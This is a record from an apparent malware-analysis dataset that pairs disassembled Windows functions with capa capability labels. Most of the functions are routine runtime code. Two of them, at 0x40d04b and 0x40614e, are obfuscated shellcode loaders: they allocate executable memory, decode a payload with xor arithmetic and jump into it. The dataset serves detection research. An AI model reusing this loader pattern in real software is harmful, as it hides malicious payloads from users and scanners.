joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45a2f2
Capabilities:
Create process memory minidump
Print debug messages

Disassembly:
push 0x14
push 0x496768
call fcn.00465700
mov edi, dword [ebp + 0xc]
xor esi, esi
cmp edi, esi
jne 0x45a340
mov dword [ebp - 4], esi
push str.raising_exception_r_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
push esi
push esi
push SysReAllocStringLen
call dword [sym.imp.KERNEL32.dll_RaiseException]
push str.writing_minidump_r_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], esi
push esi
push esi
lea eax, [ebp - 0x24]
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.dbghelp.dll_MiniDumpWriteDump
call fcn.00465745
ret 8
Function at 0x45a682
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [ebp - 0x44]
xor edx, edx
mov eax, 0x40000000
div ebx
xor edi, edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], 1
mov esi, eax
shl esi, 2
cmp esi, edi
jbe 0x45a70e
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov eax, edi
imul eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
xor edx, edx
test eax, eax
je 0x45a701
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x45a701
div ebx
add edi, eax
cmp dword [ebp - 0x14], 0x1000
jne 0x45a70a
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 8]
jbe 0x45a70a
push dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], edx
call fcn.0045a3f5
test al, al
je 0x45a70a
inc dword [ebp - 4]
jmp 0x45a70a
mov eax, 0x10000
div ebx
add edi, eax
cmp edi, esi
jb 0x45a6b6
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x45a715
Capabilities:
Get memory capacity
Get session user name
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [0x49dd70]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x3cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push dword [ebp - 0x3c8]
lea esi, [ebp - 0x198]
push dword [ebp - 0x3cc]
call fcn.0045a37f
mov eax, esi
push eax
push str.Error_occurred_at__s._r_n
push edi
call fcn.0045a2a0
push 0x208
lea eax, [ebp - 0x3a0]
push 0
push eax
call fcn.00461d00
add esp, 0x18
push 0x206
lea eax, [ebp - 0x3a0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, str.Unknown
test eax, eax
jne 0x45a79f
push ebx
lea eax, [ebp - 0x3a0]
push eax
call esi
push 0xc8
lea eax, [ebp - 0x134]
push 0
push eax
call fcn.00461d00
add esp, 0xc
lea eax, [ebp - 0x3c4]
push eax
lea eax, [ebp - 0x134]
push eax
mov dword [ebp - 0x3c4], 0xc6
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x45a7e1
push ebx
lea eax, [ebp - 0x134]
push eax
call esi
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x3a0]
push eax
push str._s__run_by__s._r_n
push edi
call fcn.0045a2a0
add esp, 0x10
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x3d0]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.0045b110
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x38]
push eax
push str.Operating_system:___s___s_._r_n
push edi
call fcn.0045a2a0
add esp, 0x10
lea eax, [ebp - 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 0x3dc]
push dword [ebp - 0x3e0]
push str._d_processor_s___type__d._r_n
push edi
call fcn.0045a2a0
add esp, 0x10
lea eax, [ebp - 0x3c0]
push eax
mov dword [ebp - 0x3c0], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push dword [ebp - 0x3bc]
push str._d___memory_in_use._r_n
push edi
call fcn.0045a2a0
mov eax, dword [ebp - 0x3b8]
add eax, 0xfffff
shr eax, 0x14
push eax
push str._d_MBytes_physical_memory._r_n
push edi
call fcn.0045a2a0
mov eax, dword [ebp - 0x3b4]
add eax, 0xfffff
shr eax, 0x14
push eax
push str._d_MBytes_physical_memory_free._r_n
push edi
call fcn.0045a2a0
mov eax, dword [ebp - 0x3b0]
add eax, 0xfffff
shr eax, 0x14
push eax
push str._d_MBytes_paging_file._r_n
push edi
call fcn.0045a2a0
mov eax, dword [ebp - 0x3ac]
add eax, 0xfffff
shr eax, 0x14
push eax
push str._d_MBytes_paging_file_free._r_n
push edi
call fcn.0045a2a0
mov eax, dword [ebp - 0x3a8]
add eax, 0xfffff
shr eax, 0x14
push eax
push str._d_MBytes_user_address_space._r_n
push edi
call fcn.0045a2a0
mov eax, dword [ebp - 0x3a4]
add esp, 0x48
add eax, 0xfffff
shr eax, 0x14
push eax
push str._d_MBytes_user_address_space_free._r_n
push edi
call fcn.0045a2a0
mov ecx, dword [ebp - 4]
add esp, 0xc
pop esi
xor ecx, ebp
pop ebx
call fcn.00460f48
leave
ret
Function at 0x45b110
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x49dd70]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xac], ecx
test eax, eax
je 0x45b3e1
test edi, edi
je 0x45b3e1
test ecx, ecx
je 0x45b3e1
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.unknown_Windows_version
push eax
call esi
and dword [edi], 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x45b3e1
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x94]
push ebx
movzx ebx, word [ebp - 0x8c]
push ebx
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x90]
push eax
push ecx
push str._u._u._u
push dword [ebp - 0xac]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa8], ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
cmp dword [ebp - 0xa4], 1
jne 0x45b2e4
cmp dword [ebp - 0xa8], 4
jne 0x45b3db
cmp dword [ebp - 0xa0], 0xa
jae 0x45b254
cmp ebx, 0x3b6
jne 0x45b208
push str.Windows_95
push dword [ebp - 0x9c]
call esi
mov dword [edi], 1
jmp 0x45b3db
lea eax, [ebx - 0x3b7]
cmp eax, 0x81
ja 0x45b22d
push str.Windows_95_SP1
push dword [ebp - 0x9c]
call esi
mov dword [edi], 2
jmp 0x45b3db
cmp ebx, 0x438
jbe 0x45b24d
push str.Windows_95_OSR2
push dword [ebp - 0x9c]
call esi
mov dword [edi], 3
jmp 0x45b3db
cmp dword [ebp - 0xa0], 0xa
jne 0x45b2bf
cmp ebx, 0x7ce
jne 0x45b276
push str.Windows_98
push dword [ebp - 0x9c]
call esi
mov dword [edi], 4
jmp 0x45b3db
lea eax, [ebx - 0x7cf]
cmp eax, 0xb7
ja 0x45b29b
push str.Windows_98_SP1
push dword [ebp - 0x9c]
call esi
mov dword [edi], 5
jmp 0x45b3db
cmp ebx, 0x887
jb 0x45b3db
push str.Windows_98_SE
push dword [ebp - 0x9c]
call esi
mov dword [edi], 6
jmp 0x45b3db
cmp dword [ebp - 0xa0], 0x5a
jne 0x45b3db
push str.Windows_ME
push dword [ebp - 0x9c]
call esi
mov dword [edi], 7
jmp 0x45b3db
cmp dword [ebp - 0xa4], 2
jne 0x45b3bf
mov eax, dword [ebp - 0xa8]
cmp eax, 3
jne 0x45b321
cmp dword [ebp - 0xa0], 0x33
jne 0x45b3db
push str.Windows_NT_3.51
push dword [ebp - 0x9c]
call esi
mov dword [edi], 0x65
jmp 0x45b3db
cmp eax, 4
jne 0x45b34b
cmp dword [ebp - 0xa0], 0
jne 0x45b3db
push str.Windows_NT_4
push dword [ebp - 0x9c]
call esi
mov dword [edi], 0x66
jmp 0x45b3db
cmp eax, 5
jne 0x45b39c
cmp dword [ebp - 0xa0], 0
jne 0x45b36e
push str.Windows_2000
push dword [ebp - 0x9c]
call esi
mov dword [edi], 0x67
jmp 0x45b3db
cmp dword [ebp - 0xa0], 1
jne 0x45b38c
push str.Windows_XP
push dword [ebp - 0x9c]
call esi
mov dword [edi], 0x68
jmp 0x45b3db
cmp dword [ebp - 0xa0], 2
jne 0x45b3db
push str.Windows_2003_Server
jmp 0x45b3af
cmp eax, 6
jne 0x45b3db
cmp dword [ebp - 0xa0], 1
jne 0x45b3db
push str.Windows_7
push dword [ebp - 0x9c]
call esi
mov dword [edi], 0x69
jmp 0x45b3db
cmp dword [ebp - 0xa4], 3
jne 0x45b3db
push str.Windows_CE
push dword [ebp - 0x9c]
call esi
mov dword [edi], 0xc9
xor eax, eax
inc eax
pop ebx
jmp 0x45b3e3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00460f48
leave
ret 0xc
Function at 0x45b5fd
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x49dd70]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
lea ecx, [ebp - 0x3c]
lea eax, [esi + 0x28]
push ecx
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
test edi, edi
je 0x45b701
push ebx
lea ebx, [edi + 1]
push ebx
call fcn.0044c2b8
push ebx
push 0
push eax
mov dword [esi], eax
call fcn.00461d00
add esp, 0x10
push dword [esi]
lea eax, [esi + 0x28]
push edi
push dword [ebp - 0x3c]
push eax
call sub.VERSION.dll_GetFileVersionInfoA
pop ebx
test eax, eax
je 0x45b701
lea eax, [ebp - 0x38]
push eax
mov ecx, esi
call fcn.0045b507
test eax, eax
je 0x45b701
mov eax, dword [ebp - 0x30]
mov ecx, eax
shr ecx, 0x10
mov word [esi + 0xa], ax
mov eax, dword [ebp - 0x2c]
mov word [esi + 8], cx
mov ecx, eax
mov word [esi + 0xe], ax
mov eax, dword [ebp - 0x28]
shr ecx, 0x10
mov word [esi + 0xc], cx
mov ecx, eax
mov word [esi + 0x12], ax
mov eax, dword [ebp - 0x24]
shr ecx, 0x10
mov word [esi + 0x16], ax
mov word [esi + 0x10], cx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov dword [esi + 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esi + 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [esi + 0x20], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x24], eax
shr ecx, 0x10
lea eax, [esi + 0x230]
push eax
mov word [esi + 0x14], cx
push str.CompanyName
mov ecx, esi
call fcn.0045b547
lea eax, [esi + 0x640]
push eax
push str.FileDescription
mov ecx, esi
call fcn.0045b547
lea eax, [esi + 0x438]
push eax
push str.ProductName
mov ecx, esi
call fcn.0045b547
xor eax, eax
inc eax
jmp 0x45b703
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00460f48
leave
ret
Function at 0x45c682
Capabilities:
Accept command line arguments

Disassembly:
push 0x24
mov eax, 0x47b132
call fcn.00461bf0
xor esi, esi
push 3
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
call fcn.0040ce36
push 3
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
call fcn.0040ce36
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x24]
call fcn.0040e692
push 0x481dc0
lea ecx, [ebp - 0x30]
call fcn.0040d236
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x24]
call fcn.0040cee6
push dword [ebp - 0x30]
mov edi, eax
call fcn.0044c2e3
pop ecx
cmp edi, 0xffffffff
jle 0x45c7a6
mov eax, dword [ebp - 0x20]
sub eax, edi
dec eax
push eax
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x24]
call fcn.004180a0
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.0040d2a6
push dword [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.0044c2e3
lea ecx, [ebp - 0x30]
mov dword [esp], 0x481dbc
call fcn.0040d236
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040cee6
push dword [ebp - 0x30]
mov esi, eax
call fcn.0044c2e3
pop ecx
cmp esi, 0xffffffff
jle 0x45c7a6
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040dd72
push eax
mov ecx, 0x4a13b8
mov byte [ebp - 4], 3
call fcn.0040d2a6
push dword [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.0044c2e3
mov eax, dword [ebp - 0x14]
sub eax, esi
pop ecx
dec eax
push eax
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x18]
call fcn.004180a0
push eax
mov ecx, 0x4a13c4
mov byte [ebp - 4], 4
call fcn.0040d2a6
push dword [ebp - 0x30]
call fcn.0044c2e3
pop ecx
push dword [ebp - 0x18]
call fcn.0044c2e3
push dword [ebp - 0x24]
call fcn.0044c2e3
pop ecx
pop ecx
call fcn.00461cc8
ret
Function at 0x45fb84
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x49dd70]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x168], 0
lea eax, [ebp - 0x168]
push eax
push dword [ebp + 8]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
cmp dword [ebp - 0x168], 0
je 0x45fc12
push 0x4008
push 0x160
lea eax, [ebp - 0x164]
push eax
push 0x80
push dword [ebp - 0x168]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 0x16c]
test eax, eax
je 0x45fc0a
push dword [ebp - 0x168]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x160]
jmp 0x45fc14
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00460f48
leave
ret 4

Function at 0x45fc22
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov eax, dword [0x49dd70]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push 0x4010
push 0x160
lea ecx, [ebp - 0x164]
push ecx
mov ecx, dword [ebp + 0xc]
or ecx, 0x80
push ecx
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov ecx, dword [ebp - 0x160]
mov dword [esi], ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00460f48
leave
ret 0xc

Function at 0x45fd26
Capabilities:
Get file system object information

Disassembly:
push 0x434
mov eax, 0x47b5ad
call fcn.00461c59
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
xor ebx, ebx
cmp byte [0x4a139c], bl
jne 0x45fdeb
push eax
lea eax, [ebp - 0x434]
push eax
mov byte [ebp - 0x60], bl
call fcn.0040cfbe
mov eax, dword [eax]
push 0x4410
push 0x160
lea ecx, [ebp - 0x170]
push ecx
mov ecx, dword [ebp + 0xc]
or ecx, 0x80
push ecx
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push dword [ebp - 0x434]
mov dword [ebp - 0x428], eax
call fcn.0044c2e3
pop ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x434]
call fcn.00411e39
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp - 0x440]
push eax
mov dword [ebp - 4], ebx
call fcn.00411d40
push eax
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.0040d2a6
push dword [ebp - 0x440]
call fcn.0044c2e3
push dword [ebp - 0x434]
call fcn.0044c2e3
mov eax, dword [ebp - 0x16c]
pop ecx
mov dword [esi], eax
mov eax, dword [ebp - 0x428]
pop ecx
jmp 0x45fe31
mov eax, dword [eax]
xor ecx, ecx
push 0x4410
mov word [ebp - 0x210], cx
push 0x2b4
lea ecx, [ebp - 0x424]
push ecx
mov ecx, dword [ebp + 0xc]
or ecx, 0x80
push ecx
push eax
call fcn.0045fc75
mov ebx, eax
lea eax, [ebp - 0x210]
push eax
mov ecx, edi
call fcn.0040e692
mov eax, dword [ebp - 0x420]
mov dword [esi], eax
mov eax, ebx
call fcn.00461cdc
ret 0x10
Function at 0x460841
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x49dd70]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x10c]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x460916
push edi
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push esi
push dword [ebp - 0x10c]
mov edi, 0x104
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x460905
cmp dword [ebp - 0x114], 2
mov byte [ebp - 5], al
lea eax, [ebp - 0x108]
jne 0x4608ef
push edi
push dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
dec eax
lea ecx, [edi - 1]
cmp ecx, eax
sbb esi, esi
inc esi
jmp 0x460905
push eax
push edi
push dword [ebp - 0x110]
call fcn.004607de
xor ecx, ecx
test eax, eax
setge cl
mov esi, ecx
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
jmp 0x460918
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00460f48
leave
ret 4

Function at 0x460f48
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x49dd70]
jne 0x460f52
repz ret
jmp fcn.004677da
Function at 0x46e201
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x49dd70]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00466ee3
and dword [ebp - 0x14], 0
cmp dword [0x4a264c], 0
mov dword [ebp - 0x18], eax
jne 0x46e2b4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x46e35c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x483c9c
push ebx
call edi
test eax, eax
je 0x46e35c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x483c8c
push ebx
mov dword [0x4a264c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4a2650], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4a2654], eax
call edi
push eax
call esi
mov dword [0x4a265c], eax
test eax, eax
je 0x46e2b4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4a2658], eax
mov eax, dword [0x4a2658]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x46e30d
cmp dword [0x4a265c], ecx
je 0x46e30d
push eax
call esi
push dword [0x4a265c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x46e30d
test ebx, ebx
je 0x46e30d
call edi
test eax, eax
je 0x46e304
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x46e304
test byte [ebp - 8], 1
jne 0x46e30d
or dword [ebp + 0x10], 0x200000
jmp 0x46e340
mov eax, dword [0x4a2650]
cmp eax, dword [ebp - 0x18]
je 0x46e340
push eax
call esi
test eax, eax
je 0x46e340
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x46e340
mov eax, dword [0x4a2654]
cmp eax, dword [ebp - 0x18]
je 0x46e340
push eax
call esi
test eax, eax
je 0x46e340
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4a264c]
call esi
test eax, eax
je 0x46e35c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x46e35e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00460f48
leave
ret
Function at 0x470880
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4a27c4], 0
push esi
push edi
jne 0x4707f6
call fcn.00470762
test eax, eax
je 0x47083b
mov eax, dword [0x4a27c4]
cmp eax, 1
jne 0x470817
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x47083b
jmp 0x47087d
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x47087d
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x47083f
xor eax, eax
jmp 0x47087d
mov eax, dword [esi]
push dword [0x4a27c4]
call edi
mov edi, eax
test edi, edi
je 0x470861
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x47087d
lea edi, [esi + 0xff0]
push esi
push dword [0x4a27c4]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x470867
mov eax, esi
pop edi
pop esi
ret
jmp 0x4707e2
Function at 0x40d04b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x40d05a
pop dword [ebp - 4]
mov eax, 0x2b2abc80
add eax, 0xd51613da
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x679d4c3c
sub dword [ebp - 0x14], 0x194b06f1
mov dword [ebp - 0x10], 0x6dabe6cc
add dword [ebp - 0x10], 0xc4876579
mov dword [ebp - 0xc], 0xd7ca8079
sub dword [ebp - 0xc], 0x8b7e3c4b
mov dword [ebp - 8], 0x60b72377
sub dword [ebp - 8], 0x60b72377
lea eax, [ebp - 0x14]
push eax
mov eax, 0x3eab580
add eax, 0xfc562b7c
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x9d0b1324
sub dword [ebp - 0x14], 0x2898a9ce
mov dword [ebp - 0x10], 0x431d19bb
add dword [ebp - 0x10], 0xfe4f47ba
mov dword [ebp - 0xc], 0xf0e0ba7d
sub dword [ebp - 0xc], 0x8d714e11
mov dword [ebp - 8], 0x68150e70
add dword [ebp - 8], 0x97eaf190
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x3b7fb66d
sub eax, 0x3b3ed5e5
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3716c
push 0
call eax
mov ecx, 0x9e7789df
add ecx, 0x6188bbab
xor edi, edi
add edi, eax
mov esi, 0x339b9191
add esi, 0xcca65e6f
add esi, dword [ebp - 4]
mov ebx, 0xddf528be
add ebx, 0xbe3da737
mov edx, dword [esi]
xor edx, ebx
mov dword [edi], edx
add edi, 0x3458d072
sub edi, 0x3458d06e
add esi, 0x4ad4bf68
sub esi, 0x4ad4bf64
loop 0x40d17e
add eax, 0x9873de43
sub eax, 0x9872d548
mov ebx, eax
add eax, 5
mov ecx, 0x9633f129
add ecx, 0x6a0c0ed7
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x402f0f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408010]
jne 0x404450
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x409368], eax
mov dword [0x409364], ecx
mov dword [0x409360], edx
mov dword [0x40935c], ebx
mov dword [0x409358], esi
mov dword [0x409354], edi
mov word [0x409380], ss
mov word [0x409374], cs
mov word [0x409350], ds
mov word [0x40934c], es
mov word [0x409348], fs
mov word [0x409344], gs
pushfd
pop dword [0x409378]
mov eax, dword [ebp]
mov dword [0x40936c], eax
mov eax, dword [ebp + 4]
mov dword [0x409370], eax
lea eax, [ebp + 8]
mov dword [0x40937c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4092b8], 0x10001
mov eax, dword [0x409370]
mov dword [0x40926c], eax
mov dword [0x409260], 0xc0000409
mov dword [0x409264], 1
mov eax, dword [0x408010]
mov dword [ebp - 0x328], eax
mov eax, dword [0x408014]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x4092b0], eax
push 1
call fcn.00406093
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x401d80
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x4092b0], 0
jne 0x40453c
push 1
call fcn.00406093
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x40614e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40615d
pop dword [ebp - 0x10]
mov eax, 0xb3d3152b
add eax, 0x4c6d4c32
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x626e1fd0
add dword [ebp - 0x20], 0xebe4257b
mov dword [ebp - 0x1c], 0xb599e8b6
add dword [ebp - 0x1c], 0x7c99638f
mov dword [ebp - 0x18], 0x793db85d
sub dword [ebp - 0x18], 0x2cf1742f
mov dword [ebp - 0x14], 0xd0288b25
add dword [ebp - 0x14], 0x2fd774db
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xce9a615d
sub dword [ebp - 0x20], 0x5a27f807
mov dword [ebp - 0x1c], 0xa06e7f8c
add dword [ebp - 0x1c], 0xa0fde1e9
mov dword [ebp - 0x18], 0xed8e2a1
add dword [ebp - 0x18], 0x549689cb
mov dword [ebp - 0x14], 0x872c83cc
add dword [ebp - 0x14], 0x78d37c34
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x93ccafbd
add eax, 0x6c736067
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3d1e6
push 0
call eax
mov ecx, 0x17c7c80
add ecx, 0xfe83e06d
mov esi, eax
mov edi, 0x50e8b8ce
sub edi, 0x50a580ce
add edi, dword [ebp - 0x10]
mov edx, 0xc05e7585
sub edx, 0x8e27453c
mov dword [ebp - 8], 0x786235c9
mov ebx, dword [edi]
mov dword [ebp - 0xc], 0xb9ebc1b5
add ebx, edx
xor dword [ebp - 4], edx
mov dword [esi], ebx
sub dword [ebp - 8], 0xcf3f9424
add esi, 0x2bdb3335
add esi, 0xd424cccf
add edi, 0x8c28e436
sub edi, 0x8c28e432
loop 0x40627a
add eax, 0x16687
mov ebx, eax
add eax, 5
mov ecx, 0xcd1cda8e
sub ecx, 0xccdcda8e
add ecx, dword [ebp - 0x10]
call ebx
leave
ret